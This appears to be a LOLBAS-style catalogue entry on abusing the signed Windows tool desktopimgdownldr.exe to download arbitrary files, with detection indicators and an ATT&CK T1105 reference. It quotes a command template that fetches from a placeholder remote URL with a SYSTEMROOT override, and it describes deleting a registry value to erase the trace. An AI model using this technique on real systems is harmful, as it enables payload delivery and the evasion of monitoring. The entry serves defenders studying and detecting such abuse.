The Personalization CSP lock-screen tool downloads the URL given in /lockscreenurl to disk as a standard user. Overriding the SYSTEMROOT environment variable redirects the output to an attacker-chosen folder, and the PersonalizationCSP registry value seeded by the run can be deleted afterward to erase the trace.
Use Download an arbitrary file with a native, signed Windows tool that is not certutil/bitsadmin.
Detection: desktopimgdownldr.exe with /lockscreenurl to a non-Microsoft host or fetching a non-image; SYSTEMROOT environment override before the run; writes/deletes at HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP\LockScreenImageUrl.
Verified
✓ LOLBAS Desktopimgdownldr.yml quotes `set "SYSTEMROOT=..." && cmd /c desktopimgdownldr.exe /lockscreenurl:{REMOTEURL}` (T1105); SentinelOne write-up is the original research source.